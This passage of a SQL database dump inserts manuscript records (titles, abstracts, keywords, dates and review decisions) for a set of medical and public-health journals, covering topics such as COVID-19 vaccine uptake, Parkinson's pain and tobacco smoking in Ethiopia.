Attitudes, Substance use, Patient',388,NULL,'2021-06-17',NULL,'Submitted',2,NULL,'2021-07-09',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8999,10023,251,0,'ipacm-21-8999','The biology of plasmacytoid dendritic cells and their role in pathogenesis of erythema multiforme and other inflammatory dermatoses: A mini literature review',NULL,25,0,'','Plasmacytoid dendritic cells (pDCs) are a unique dendritic cell population with both innate and adaptive immune functions. When pDCs get activated by various pathogens or self-DNA, they are able to produce massive amount of interferon type I and play an essential role in immune defense mechanisms. Plasmacytoid DCs are generally absent from the normal skin. In the past decade, their involvement in pathogenesis of different inflammatory dermatoses has been widely explored. Plasmacytoid DCs’ excessive sensing of non-self or self-DNA (upon skin injury) was addressed as a primary trigger for many cutaneous pathologies. Recently, we have also shown significant amount of pDCs in erythema multiforme lesions and hypothesized that these cells are central to EM pathogenesis as well. However, neither EM pathogenesis nor pDCs’ actual role in this entity is well studied. In this mini review, our goal is to outline recent updates on pDCs and their role in particular inflammatory skin diseases such as psoriasis. Our focus will also be the highlights of our recent study and our perspective regarding relationship between pDCs and EM.','Plasmacytoid dendritic cell; pDCs; erythema multiforme; inflammatory dermatoses',3944,NULL,'2021-06-21',NULL,'Submitted',2,NULL,'2021-07-13',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(9013,10027,45,0,'iphsj-21-9013','Potential health effects due to exposure of criteria air pollutants',NULL,14,0,'','Air pollution causes serious health impacts because one-third of deaths occur due to exposure to air pollutants. The pollutant has both acute and chronic effects which go deep into the organ systems and deposit into tissues and causes long-term and short-term effects on the human body. The present review will develop an understanding of the current state of knowledge for potential health effects concerning the dose-response relationship between exposure to criteria air pollutants and health risk assessment. High-quality scientific research papers were drawn with consideration of experimental design, conduct, and reported for analyzing the exposures to criteria air pollutants via inhalation which imitates the expected route of exposure to humans. The majority of evidence refers to effects on the respiratory system, cardiovascular, inflammatory, and blood-affecting diseases. The critical assessment investigated the effects on vulnerable subjects and stimulated diseases which are classified as physiological and psychological diseases and their effects.','criteria air pollutants; lung disorders; heart diseases; auto-immune diseases; blood disorders',388,NULL,'2021-06-21',NULL,'Submitted',2,NULL,'2021-07-12',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9022,10035,251,0,'ipacm-21-9022','Brief overview on the COVID-19 pandemic in Spain',NULL,25,0,'','We analyze the evolution of the COVID-19 pandemic in Spain. Several numerical methods and models are studied to understand how the evolution of this pandemic is referenced. We also justify the adjustments that we have made in order to interpret the public data supplied by the Spanish Government. Finally, we present some of the lessons learned so that we way carry out early actions when we are immersed in similar pandemics.','Pandemic; Numerical simulation; SIRD model; Mathematical modeling',778,NULL,'2021-06-22',NULL,'Submitted',2,NULL,'2021-07-13',NULL,1,1,'1','    ',0,NULL,NULL,NULL,0,0,0,NULL,0),(9031,10044,73,0,'ipjnn-21-9031','Cheiro-Oral syndrome due to Acute Lacunar Thalamic Infarct ',NULL,2,0,'','A brain infarct is a tissue death due to inadequate blood supply to the affected area. While large or massive infarcts may present with vague sensori-motor symptoms, small thalamic infarcts can present with a variety of sensory deficits that can be difficult to diagnose clinically because of their seemingly disconnected manifestations (1). Cheiro-oral Syndrome is a pure sensory deficit which is confined to the perioral region and ipsilateral distal fingers (2). This very subtle clinical presentation might be missed in acute settings. We are reporting a case of a 46-year-old gentleman who was admitted with the complaints of right sided peri-oral numbness associated with a tingling sensation in in the fingers of his right hand. ','',326,NULL,'2021-06-22',NULL,'Submitted',2,NULL,'2021-09-03',NULL,1,1,'0','Accept for publication',0,'','',NULL,0,0,0,NULL,0),(9034,6950,975,0,'ipjbs-21-9034','CEREBELLAR AND HYPOCAMPAL CHANGES INDUCED BY LEAD IN WISTAR RATS: THE ROLE OF OCIMIUM GRATISSIMIUM LEAVES EXTRACT.',NULL,14,0,'','Introduction: Lead is used in industrial and pharmaceutical preparations and has continued to be a major health issue in many Countries and herbs contain antioxidants that are useful in the treatment of many ailments. Aim: The present study was aimed at evaluating the effects of aqueous Ocimum gratissimum (OG) leaves extract on lead-induced changes on the cerebellum and hippocampus of Wistar rats. Method: Thirty-five male Wistar rats were divided into seven groups of five rats each. Group 1 served as the Control and received distilled water. Group 2 received 120 mg/kg body weight of lead, Group 3 received 375mg/kg body weight of OG. Group 4 received 120 mg/kg of lead and 375 mg/kg of OG while Group 5 received 120 mg/kg of lead and 750 mg/kg of OG. Group 6 received 375 mg/kg of OG for two weeks and 120 mg/kg of lead while Group 7 received 120 mg/kg of lead and Vitamin C. All administrations were done orally for twenty-one days and the rats were sacrificed while the cerebellum and hippocampus were removed, fixed, processed and stained using hematoxylin and eosin technique. Results: The result showed deleterious changes on the tissues of hippocampal and cerebellar formations with distortion of the general histo-architectural and cellular arrangements while rats administered with lead and OG extract revealed positive effects on lead-induced changes on the histology of the hippocampus and cerebellum dose-dependently. Conclusion: The study concluded that the aqueous OG extract showed promising effects on lead-induced toxicity and as such can be used for therapeutic intervention in lead poisoning.','Lead, Ocimum gratissimum, Wistar rats, cerebellum, Hippocampus, histology.',4089,NULL,'2021-06-22',NULL,'Submitted',2,NULL,'2021-07-21',NULL,1,1,'1','can be publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(9057,10058,73,0,'ipjnn-21-9057','pain in parkinsons disease',NULL,14,0,'','\r\nThis study focuses on the diagnosis and management of pain in parkinson’s disease. Separating PD related pain from pain of other origin is very difficult [1]. They all come under one umbrella among the different forms of PD related pain, musculoskeletal pain is the most common form accounting for 40% in PD. Pain occurs in about 60% of PD patients, two to three times more frequent in this population than in age matched healthy individuals. It is an early and potentially disabling symptom that can precede motor symptoms by several years. The lower back and lower extremities are the most commonly affected areas. The most used classification for pain in PD defines musculoskeletal, dystonic, central, or neuropathic/radicular forms [2]. \r\n\r\n Its different clinical characteristics, variable relationship with motor symptoms, and inconsistent response to dopaminergic drugs suggest that the mechanism underlying pain in PD is complex and multifaceted, involving the peripheral nervous system, generation and amplification of pain by motor symptoms, and neurodegeneration of areas related to pain \r\nThe basal ganglia processes somatosensory information differently. Increased subjective pain sensitivity with lower electrical and heat pain threshold has been reported in PD patients. The mechanism is assumed to be diminished activity of the descending inhibitory system of the basal ganglia. Promising perspectives for this have come from studies using different pain scales in Parkinson’s disease. \r\nSelection criteria¬- “King’s Parkinson’s disease pain scale, ”[4] which was proposed by a multicenter group that included King’s College Hospital in London, is officially advocated by the “International Parkinson’s and Movement Disorder Society Non-Motor PD Study Group” for evaluating pain in Parkinson’s disease treatment prevalence. \r\n\r\n','pain ,parkinsons disease,levodopa',350,NULL,'2021-06-23',NULL,'Submitted',2,NULL,'2021-09-03',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(9068,10065,45,0,'iphsj-21-9068','Insurers Should Not Force Patients to Play Doctor  By Louis Tharp, executive director and cofounder, Global Healthy Living Foundation',NULL,9,0,'','Emergency rooms (ERs) play a critical role in assessing and treating what could be disabling or life-threatening conditions. People who seek emergency care aren’t in the waiting room on a whim, but rather because they are experiencing unexpected or fast progressing symptoms they feel cannot wait for an hours or days away appointment with their health care provider. However, if United Healthcare opts to advance a planned policy to decline payment for emergency room visits that it deems nonurgent, then the onus is on patients to make a hurried, uneducated, judgement call on whether they ought to go to the hospital.','Health insurance, Patients, Play, Doctor',643,NULL,'2021-06-24',NULL,'Submitted',2,NULL,'2021-07-12',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9081,10075,251,0,'ipacm-21-9081','EPIDEMIOLOGICAL SURVEY OF Trichomonas vaginalis AMONG YEAR FIVE (5) STUDENTS TAKING PARASITOLOGY AT THE FEDERAL UNIVERSITY OF TECHNOLOGY, MINNA, NIGER STATE, NIGERIA.',NULL,14,0,'','Aim and Objective: This study aimed to see how popular T. vaginalis was among Year 5(5) parasitology students at the Federal University of Technology in Minna, Niger State.\r\nMethods: A total of 239 High Vaginal Swabs (HVS) and urine specimens were collected aseptically from male and female students, respectively, using a sterile swab stick and clean containers for the evaluation of T. vaginalis occurrence under the microscope.\r\nResults: A total of 96 (40.17%) of the 239 students examined were found to have T. vaginalis infection, with female students having the highest prevalence, 67 (50.0%), and male students having the lowest prevalence 29 (27.62%). The department of Biology Education had the most infections with 25 (41.67%), followed by the department of Biology with 41 (41.41%), and the department of Microbiology with 30 (37.50%). The highest infection rate was 34(50.75%) in the age group 21–25 years, followed by 17(44.74%) in the age group 31–35 years, and 5 (25.0%) in the age group 46–50 years. There was no statistically significant difference in infection rates depending on age of the students.\r\nConclusion: Vaginal trichomoniasis is widespread among female students in year five at the Federal University of Technology in Minna, and it often goes unnoticed.\r\n','Trichomonas vaginalis, High Vaginal Swabs, Futminna Parasitology.',3160,NULL,'2021-06-25',NULL,'Submitted',4,NULL,'2021-08-03',NULL,1,1,'0',' ',0,'','',NULL,0,0,0,NULL,0),(9084,10076,1020,0,'ipmedt-21-9084','Maxillary Sinus Aspergillosis in an Immunocompetent adult female',NULL,2,2,'','Aspergillosis is the second most frequent opportunistic fungal infection of the paranasal sinuses which has seen a substantial increase in the incidence in recent years. Definitive diagnosis is based on radiological, histological examination and fungal culture. We present here a report of a chronic case of a fungal rhinosinusitis involving maxillary sinus in an immunocompetent adult female. The pathogen is identified as Aspergillus flavus. The case was successfully treated with surgical debridement and voriconazole.','Aspergillosis, paranasal sinuses, immunocompetent',4892,NULL,'2021-06-25',NULL,'Submitted',19,NULL,'2021-12-23',NULL,1,1,'1',NULL,0,'','',NULL,0,4,0,NULL,0),(9096,10087,73,0,'ipjnn-21-9096','Guillain-Barré Syndrome during Post-partum period: A Rare Entity',NULL,2,0,'','Guillain–Barré syndrome (GBS) is a serious post-infectious immune mediated neuropathy presented with diminished reflexes and resultant weakness. Global report on GBS depicted with an incidence of 1 to 4 cases per 100,000 annually and carries a high maternal risk. It is very rare among post-partum women.\r\nAim: The study is case of  24 year women within 2 month of post-partum period who presented with flaccid quadriplegia diagnosed as GBS. The case is discussed in all the aspects of diagnosis, treatment and outcome. \r\n','Guillain–Barré syndrome, post-partum',4656,NULL,'2021-06-26',NULL,'Submitted',2,NULL,'2021-10-04',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0);
INSERT INTO `manuscripts` VALUES (9102,10090,326,0,'IPJUS-21-9102','M.D., Ph.D.',NULL,9,0,'','Reverse blood flow as an option in mandibular reconstruction using two-segmental fibula free flap\r\n\r\nMicrosurgical reconstruction of soft tissue or bony defects in head and neck surgery has been recently considered as a method of choice. In our letter we present an option of mandibular reconstruction using reverse flow with two segments of fibula free flap in patient with bilateral pseudoartrosis of mandibula. In a standard procedure, both segments of fibula are supplied by one donor vascular pedicle with normal antegrade blood flow. We decided to use reverse flow in the distal segment of fibula using venous graft to create two vascular independent fibular free segments. This method of reconstruction provides a safer solution in case of vasospasm or vascular failure of one segment and can be considered as an alternative option to support the success rate of microsurgical procedure.','reverse blood flow, mandibular reconstruction, free fibula flap',2505,NULL,'2021-06-27',NULL,'Submitted',16,NULL,'2021-07-01',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(9105,10092,45,0,'iphsj-21-9105','Assessment of induced abortion and its associated factors among reproductive age group women in Debre Markos Referral Hospital, Amhara region, Northwest Ethiopia.',NULL,14,0,'','Background: Nearly 56 million induced abortions(safe and unsafe) were performed worldwide every year between 2010-2014, and from these  about 25 million accounts for unsafe abortion and over half of all estimated unsafe abortions globally had taken place in Asia. In developing countries, the risk of death following complications of unsafe abortion procedures was several hundred times higher than that of an abortion performed professionally under safe conditions. Worldwide women of all ages seek abortion, but there was highest burden of illness and deaths due to abortion among the youths. So the aim of this study was to assess induced abortion and its associated factors among reproductive age group women in Debre Markos Referral Hospital, Northwest Ethiopia.\r\nMethods: Institutional based cross sectional study design was conducted in Debre Markos Referral Hospital among reproductive age group women from September, 1/2017 to December, 20/2017. Sample size was determined by using single population proportion formula. Systematic sampling technique was used .The data were entered into Epi-Data version 3.1 and were exported to SPSS version 23 software for further analysis. Logistic regression model was fitted to determine the predictors of induced abortion and those variables with p value <0.2 in binary logistic regression were entered into a multi-variable logistic regression analysis. Finally variables with a p value of <0.05 in multi-variable logistic regression model were declared as statistically significant.\r\nResult: In our finding the magnitude of induced abortion was 32(18.2%).Unwanted pregnancy [AOR=0.28 (95%CI (0.87-0.89)], utilizing of family planning [AOR =7.4 (95%CI) (2.7-20.3)], maternal illness in the last one month [AOR=4.28 (95%CI) (1.27-15.1)] were statistically significant factors associated with induced abortion.\r\nConclusion: This study had shown the undeniable fact that the problem of induced abortion was still the highest as compared with previous studies. Majority of induced abortion was the result of unwanted pregnancy. Federal ministry of health in collaboration with different stake holders had better work on strengthening comprehensive reproductive health education, particularly on the consequences of abortion.\r\n\r\n','Key words: Reproductive age group women, Induced abortion, Associated factors, Debre Markos Referral Hospital. ',3202,NULL,'2021-06-27',NULL,'Submitted',2,NULL,'2021-07-13',NULL,1,1,'1','accepted',0,'','',NULL,0,0,0,NULL,0),(9110,10097,73,0,'ipjnn-21-9110','prof.',NULL,8,0,'','The main question in neuroscience is how the material tissue (brain) is producing the non-material phenomena (mind; thought, memory, emotions…). Recent advancements in the brain sciences have enabled researchers to determine locations and patterns of neural activation associated with various psychological functions. Still, the mind-brain puzzle is complex and not yet elucidate. \r\nThe fundamental relevance of EEG spectra for mental activation (both, general and focused) can be related to the interaction of electric field with neuronal quantum dipoles.\r\nThe obtained analytical expressions and numerical values based on quantum transition probabilities correspond to classical empirical results for arousal and attention, including the characteristic frequency dependence and intervals. \r\nThis paper proposes a theoretical approach to explain the characteristic empirical interdependence between the states of arousal (representing the level of consciousness) and EEG activity. Consequently, we introduced mathematical formula to calculate field-dipole interactions, which corresponds to clinical states and can be considered as an integral brain state attribute, correlated to its electric, mental and metabolic activity. The article is a compilation of some our related articles, published before.\r\nThere is a substantial distinction between the coarse-grained arousal (as background state of consciousness) and the fine-grained content of consciousness, whereby attention appears to be a bridge.\r\nHowever, deeper understanding of substrates and emergence of arousal, attention and consciousness must take into account the subtle interplay of neurophysical, neurochemical and neurobiological correlates.\r\n\r\n\r\n','neuroscience, brain-mind interrelation, quantum brain dynamics',3358,NULL,'2021-06-28',NULL,'Submitted',2,NULL,'2021-07-29',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(9112,8036,45,0,'iphsj-21-9112','Emergency Drugs Commonly Used in healthcare organizations: “Extremely Required in Lifesaving”',NULL,15,0,'','Emergency drugs are very essential in treating the patient in emergency and lifesaving conditions especially intensive care emergency procedures. If patient emergency situations, unknowingly delay or inadequate delivery of any drug that helps the survival of the patient causes sudden death of the patient. The knowledge and maintenance of emergency drugs in health care sectors or health care agencies, especially intensive care units or other emergency patient caring areas is very essentials to maintain or secure the life of the patient and prevent unwanted complications and loss of the patient. In clinical settings, intensive care emergency drugs are specially recognized due to its immediate effectiveness on certain emergency conditions as airway managements, cardiac arrest and hypersensitivity reactions and helps in prevention of patient loss and stabilizing the patient life. Every healthcare professional such as health practitioners and staff who are working in the emergency or intensive care units, and health professional students should have the sufficient knowledge on this topic to provide the immediate management in lifesaving threatening of the patient.','Intensive care unit, Emergency drugs, Health professionals, Health care agencies, patient care emergencies.',643,NULL,'2021-06-28',NULL,'Submitted',2,NULL,'2021-07-22',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9116,8820,91,0,'ijddr-21-9116','Editorial on Concomitant Medications',NULL,5,0,'','Corresponding meds (con-medications) are any remedy or over-the-counter medications and enhancements taken notwithstanding an investigational treatment by an examination subject. Many investigation conventions require catching con-prescription use into subject\'s examination record. This can be an incredibly troublesome errand as it depends on the legitimate and precise announcing by subjects just as itemized audit of clinical records. It\'s anything but enough to just present the name of a drug, as most con-prescription reports normally require measurements, recurrence, and length of utilization. Frequently, numerous con-prescription sections should be made in the investigation record for a similar medicine if the dose changes or if the subject stops and restarts the drug. This can conceivably prompt handfuls or more mistakes of information point sections for a solitary report subject. So why are con-medications so significant in research preliminaries and how might scientists guarantee that con-drugs are in effect precisely revealed?','Industrial Pharmacy, Herbal Drug Development, Translational Drug Development',1325,NULL,'2021-06-28',NULL,'Submitted',2,NULL,'2021-07-06',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(9117,8820,91,0,'ijddr-21-9117','Editorial on Orphan Drug',NULL,5,0,'','The supposed “Orphan Drug” are expected to treat infections so uncommon that supporters are hesitant to foster them under regular advertising conditions. The cycle from the disclosure of another atom to its advertising is long (10 years in normal), costly (a huge number of euros) and exceptionally unsure (among ten particles tried, just one may have a helpful impact). Fostering a medication expected to treat an uncommon illness doesn\'t permit the recuperation of the capital contributed for its examination.','Industrial Pharmacy, Herbal Drug Development, Translational Drug Development',2428,NULL,'2021-06-28',NULL,'Submitted',2,NULL,'2021-07-06',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(9130,10107,73,0,'ipjnn-21-9130','Clinical profile and Management of Sixth Nerve palsy in Paediatric patients (0-15 years) in Southern India- A hospital-based study ',NULL,12,0,'','Purpose: This study was done to evaluate the clinical profile in Paediatric patients (0-16 years) presenting with acute onset esotropia due to Sixth Nerve palsy. Methods: A total of 12 patients presenting to our OPD with acute onset esotropia due to sixth nerve palsies were included in this retrospective study. All patients were observed for 6 months and managed with prism and/or patching while waiting for spontaneous resolution and later managed surgically. Neuroimaging was done in all cases. Results: The mean deviation of esotropia at presentation was 30.17  5.7 Prism Dioptre( range 12-50 PD, 95% CI, SD 10.11). Mean age of the patients during presentation was 8.6  2.4 years(range: 1-15 years, SD 4.27). Among the common causes of sixth nerve palsy in our study population were Trauma and Idiopathic Intracranial Hypertension followed by Tumour and miscellaneous causes. Only 3 patients underwent surgical correction of residual deviation after a waiting period of 6 months for self-resolution. spontaneous resolution was observed in 41.6% patients (table 1) and surgical correction (unilateral resection-recession) was done in 25% of the patients with good surgical outcome. Conclusion: At one-year follow up ,the motor outcome was satisfactory except for one patient who had diffuse pontine glioma and had worsening neurological symptoms on follow-up.','Abducens palsy, neuroimaging, management, acute onset esotropia',335,NULL,'2021-06-28',NULL,'Submitted',15,NULL,'2021-07-01',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(9134,10111,85,0,'iphspr-21-9134','COVID-19 vaccine uptake among health care workers in Ghana: a case for targeted vaccine deployment campaigns in the global south',NULL,14,0,'','Background: Health care workers (HCWs) are among the high-risk groups in contracting and dying from COVID-19. World Health Organization estimates that over 10,000 HCWs in Africa have been infected with COVID-19 making it a significant occupational health hazard to HCWs. In Ghana, over 100 HCWs have already been infected and over 10 others died from the virus. Acceptability and uptake of the COVID-19 vaccine is therefore critical to promote health and safety of HCWs. \r\nObjective: The study sought to ascertain the correlates of HCWs likelihood of participating in a COVID-19 vaccine trial and accepting the vaccine when given the opportunity. \r\nMethods: The study was a web-based cross-sectional survey among HCWs (n=1,1605) in all sixteen (16) administrative regions in Ghana. Data was analyzed with STATA statistical analysis software (version 14). Chi-square and Fisher’s Exact tests were used to test for differences in categorical variables; bivariate probit regression analysis with Average Marginal Effect (AME) was employed to ascertain the determinants of HCWs’ likelihood of participating in a COVID-19 vaccine trial and taking the vaccine. \r\nResults: it was found that 48% of HCWs will participate in a COVID-19 vaccine trial when given the opportunity; 70% will accept the COVID-19 vaccine; younger HCWs (AME= 0.28, SE=0.16, p<0.1), HCWs who are Moslems or other religious faiths (AME= 21, SE=0.09, p<0.05) and those who worked in faith-based health facilities (AME= 18, SE=0.07, p<0.05) were more likely to participate in a COVID-19 vaccine trial. Female HCWs (AME= -11, SE=0.04, p<0.05) and those with lower educational qualification were less likely to accept a COVID-19 vaccine (AME= -0.16, SE=0.08, p<0.1). Reasons cited for unwillingness to participate in a COVID-19 vaccine trial or uptake the vaccine included fear, health and safety concerns, mistrust, uncertainty, spiritual and religious beliefs.\r\nConclusions: Acceptance of the COVID-19 vaccine appeared to be high among HCWs; conversely, willingness to volunteer for the vaccine trial was low. Continuous targeted public health education for HCWs will further enhance vaccine acceptability to promote safety and general population health as Ghana intensifies efforts to locally produce COVID-19 vaccines. ','Coronavirus disease 2019, vaccine, health care workers, trial, willingness, uptake, Ghana',3413,NULL,'2021-06-28',NULL,'Submitted',4,NULL,'2021-11-06',NULL,1,1,'1','ACCEPTED THE PUBLICATION',0,'','',NULL,0,0,0,NULL,0),(9137,9149,91,0,'ijddr-21-9137','Editorial on Nanotechnology in Drug Delivery',NULL,5,0,'','Nanotechnology is described as the science, designing and innovation did at the nano scale. It\'s anything but a progressive procedure which uses gadgets and particles in the scope of 1-100 nanometers. The utilization of particles in minute reach assists with working with the highlights and generally nature of the framework. Particles presented to nanotechnology shows better attributes including obstruction than settling, higher immersion solvency state and assurance from deterioration, upgraded drug discharge, expanded bond to natural layers, improved strength and decreased weight, upgraded retention and improved substance reactivity when contrasted with their bigger scope relating thing. Nanotechnology tailors drugs at a sub-atomic level which brings about diminishing results and created fast beginning of helpful activity and significantly better bioavailability.','Buccal drug delivery system, Mucoadhesive drug delivery system, Mucoadhesion, Nanotechnology',2474,NULL,'2021-06-29',NULL,'Submitted',2,NULL,'2021-07-06',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(9155,10124,85,0,'iphspr-21-9155','Impact of modern contamination on public health',NULL,5,0,'','Modern contamination is characterized as the contamination which can be straightforwardly associated with industry. This sort of defilement is one of the principle wellsprings of tainting all throughout the planet. The contaminating specialists from businesses conveys possibly hazardous toxins into the air which, in this manner, impacts human prosperity. There are different sorts of current tainting. Mechanical tainting similarly impacts air quality and it can enter the soil, causing wide biological issues','Public Health, Global Health',3282,NULL,'2021-06-29',NULL,'Submitted',2,NULL,'2021-07-06',NULL,1,1,'1','                             ',0,NULL,NULL,NULL,0,0,0,NULL,0),(9156,10124,85,0,'iphspr-21-9156','Health service programs management',NULL,5,0,'','Healthcare management is a growing industry in the United States. The Bureau of Labor Statistics states that jobs in healthcare management are anticipated to see a growth of 22 percent in the decade between 2010 and 2020. It makes sense that the need for healthcare providers and facilities is growing, as the population ages and life expectancy increases due to medical advances. The need for professionals to manage healthcare facilities will also grow. Here are some things to know about healthcare management if you are considering entering the field.','Public Health, Global Health',3282,NULL,'2021-06-29',NULL,'Submitted',2,NULL,'2021-07-06',NULL,1,1,'1','                          ',0,NULL,NULL,NULL,0,0,0,NULL,0),(9157,10124,85,0,'iphspr-21-9157','Operations research and its applications',NULL,5,0,'','Tasks research (OR) is a logical technique for critical thinking and dynamic that is valuable in the administration of associations. In tasks research, issues are separated into fundamental parts and afterward settled in characterized ventures by numerical investigation.','Public Health, Global Health',3282,NULL,'2021-06-29',NULL,'Submitted',2,NULL,'2021-07-06',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(9158,9715,639,0,'ipfs-21-9158','Editorial note Lymphocystis Disease',NULL,5,0,'trends in fisheries culture','Lymphocystis is viral infection in fish that had a place with iridovirus family these infections are characterized by having twofold abandoned DNA structures which are found in both marine fish and freshwater. It is known as cauliflower disease. They are found all through the animals of the world collectively, including creatures of land and water, spineless creatures, and both freshwater and marine fish. They are identified with megalocytivirus, which are additionally individuals from the iridoviruses. \'Cauliflower\' sickness is described by compound mole-like developments on the skin and blades of the fish. Spread to other tank mates is an uncertain inquiry.','fish',1776,NULL,'2021-06-29',NULL,'Submitted',2,NULL,'2021-07-29',NULL,1,1,'1','accepted the article',0,NULL,NULL,NULL,0,0,0,NULL,0),(9160,9275,45,0,'iphsj-21-9160','Measures of Efficacious COVID-19 vaccine',NULL,14,0,'','Purpose:  Effectiveness of COVID-19 vaccine is increasingly important for better immunization, sustain uptake, in the background of availability of a number of vaccines and uneven vaccination programmes with different objectives and strategies. The paper explores different measures of vaccine efficiency (VE) at population level for comparing and classifying groups of individuals in terms of risk and to find relationships between exposures and spread of disease.\r\nMethods:  To review model-free measures and outcome measures of mathematical/statistical models towards meaningful comparisons and assessment of efficiency of SARS-CoV-2 vaccine and to suggest better measures.\r\nResults: Mathematical models with unrealistic assumptions and limitations may underestimate the impact of mass vaccination. Interrupted time-series comparing trends in pre-vaccination and post-vaccine periods have wide applicability. Two suggested measures of VE are (i) difference of slopes of pre- and post-vaccination periods and (ii) Relative Risk (RR), reflecting association between the exposure and the outcome.  \r\nConclusions:  VE computed from difference of slopes of two linear trends or RR facilitates statistical testing of equality of the vaccine efficiency for two different groups with available statistical tests. Measures based on ratios and proportions are simple to compute, interpret and facilitate meaningful comparisons including statistical testing of hypothesis. Such measures may be computed for sub-populations defined in terms of the factors of COVID 19 like age, gender, co-morbidities, genetic & biological factors, adaptive immunity, prior exposure to SARS-CoV-2 via infection or via vaccination, etc.  Model-free measures for evaluation and models considering administration of vaccine mechanism may be considered independently. Future studies suggested','COVID-19; Efficacy and Efficiency; Interrupted time series; Mathematical modelling; Relative Risk; SARS?CoV?2',643,NULL,'2021-06-29',NULL,'Submitted',2,NULL,'2021-07-21',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9168,9715,639,0,'ipfs-21-9168',' Commentary on fisheries',NULL,5,0,'trends in fisheries culture','The study that the paper asked fish harvesters about their beliefs about three different topics; the relationship between the fishery and the community; inequality within the industry; and the transferability of fishing rights. Their answers are analyzed using the tools of normative analysis that are typically found in political philosophy. The main contribution of this is paper is that the analysis leverages the theoretical tools of political philosophy to identify and distinguish features of harvesters’ beliefs that might be relevant to policymakers.','fish',1770,NULL,'2021-06-30',NULL,'Submitted',2,NULL,'2021-07-02',NULL,1,1,'1','accepted the article',0,NULL,NULL,NULL,0,0,0,NULL,0),(9169,10133,45,0,'iphsj-21-9169','20 Awesome At-Home Hobbies with Health Benefits for Retirees and Older Adults',NULL,17,0,'','Today, more than 45,000 people in the U.S. are receiving their Social Security benefits. While some retirees prefer to maintain part-time jobs that don’t conflict with their benefits or retirement plans, many others are uncertain about what to do with all the time suddenly thrust in their lap.','Hobbies, Health Benefits. Retirees,Older Adults',643,NULL,'2021-06-30',NULL,'Submitted',14,NULL,'2021-07-12',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9171,8948,45,0,'iphsj-21-9171','Knowledge and practice of breast self-examination and associated factors among women students in west Arsi zone, southeast Ethiopia',NULL,14,2,'','Background: Breast cancer is the leading cause for maternal mortality globally, especially in developing countries like Ethiopia. The incidence is increasing specially in developing regions. Regular breast self-examination is one of the most cost-effective method for early detection of breast cancer in asymptomatic women. \r\nObjective: The aim of the study is to assess the level of knowledge and breast self-examination practice, and its associated factors among students in private universities at west Arsi zone, south east Ethiopia.\r\nMethods: A facility based cross-sectional study design was conducted from April 1 to 30, 2018. A total of 355 undergraduate female students were participated in the study. Simple random sampling technique was used to select the study participants. Binary and multivariate logistics regression analyses was applied using backward step wise method with p <0.05 and p > 0.25 criteria to enter and exit from the model respectively. Odds ratios with 95% confidence intervals were computed and significance of all tests was determined at p?0.05. \r\nResults: From all participants 84(23.7%) were knowledgeable about breast self-examination and 148(41.7%) and 65(18.3%) of them have knowledge about sign and risk of breast cancer respectively. Only 112(31.5%) ever practiced breast self-examination, from those 79(22.3) of them practice breast self-examination monthly and most them started breast self-examination between age of 20-30 years. After adjusting for possible confounders; Field of study, knowledge of breast cancer risk and sign were significantly associated with knowledge of breast self-examination. Knowledge about breast self-examination and from constructs of health belief model perceived susceptibility and perceived barriers were significantly associated with breast self-examination practice.\r\nConclusion: knowledge and practice of breast self-examination of undergraduate female students was low as a National guideline of Ethiopia FMOH that states all female age above 20 years should practice BSE. Therefore, the health sector should design strategies to improve female students’ knowledge and practice of breast self-examination.','knowledge of breast cancer, practice of breasts self-examination, screening, women students.',643,NULL,'2021-06-30',NULL,'Submitted',19,NULL,'2021-07-24',NULL,1,1,'0','Minor revision',0,NULL,NULL,NULL,0,4,0,NULL,0),(9172,8948,45,0,'iphsj-21-9172','Prevalence of tobacco smoking and associated factors among high students at Misha district, southern Ethiopia',NULL,14,0,'','Background: Globally, tobacco smoking has a great health impact among youths especially in developing countries. There is limited data on the smoking habits of high school students in developing countries. Smoking behavior in high school students is increasing and it has a significant effect on smoking practice of the future generations. The aim of this study was assessed of prevalence of tobacco smoking and associated factors among high school students Misha district, southern Ethiopia.\r\nObjective: The aim of this study was to assess prevalence of tobacco smoking and associated factors among high school students in Misha district southern Ethiopia; moreover, it will furnish important directions for intervention and prevention of smoking among the students in high schools in Misha district.\r\nMethods: A school based cross- sectional study was conducted among high school students in Misha district southern Ethiopia from March 01 to April 30, 2017. Multi stage sampling technique was used to select 352 study participants. Data was collected using pre-tested and structured self- administered questionnaire. The data was entered in to Epi-data version 3.1 and analyzed using SPSS version 24. In addition, of descriptive statistics for describing data and multivariate logistic regression analyses was used to identify associated factors. \r\nResults: Three hundred fifty-two students were participated in the study. The prevalence of current smoking among high school students was 11.1% (95% CI: 8.0, 14.5). The odds of smoking in males were higher as compared to females (AOR=2.5; 95% CI: 1.0, 6.2). Having smoking mothers were more likely to smoke compared with their counterparts (AOR=3.6; 95% CI: 16, 8.0); also having smoking fathers were more likely to smoke compared with students who haven’t smoking fathers (AOR = 3.2; 95% CI: 1.4, 7.3). The students having smoking sisters were more likely to smoke compared with their counterparts (AOR = 3.3; 95% CI: 1.5, 7. 6). This study also found that the khat chewing practice was three folds increases the odds of current cigarette smoking among parents. (AOR = 3.0; 95% CI: 1.6.6.2; 95% CI: 1.2, 4). Those, who having smoking peer were more likely to smoke compared to those do not have smoking peers. (AOR = 2.6; 95% CI: 1.2, 6.0) \r\nConclusion and recommendations: This study found that a prevalence of current smoking practice in Misha district southern Ethiopia is high. In addition, this study revealed that high school students` Current tobacco smoking is significantly associated with male sex, having smoking parents, having smoking 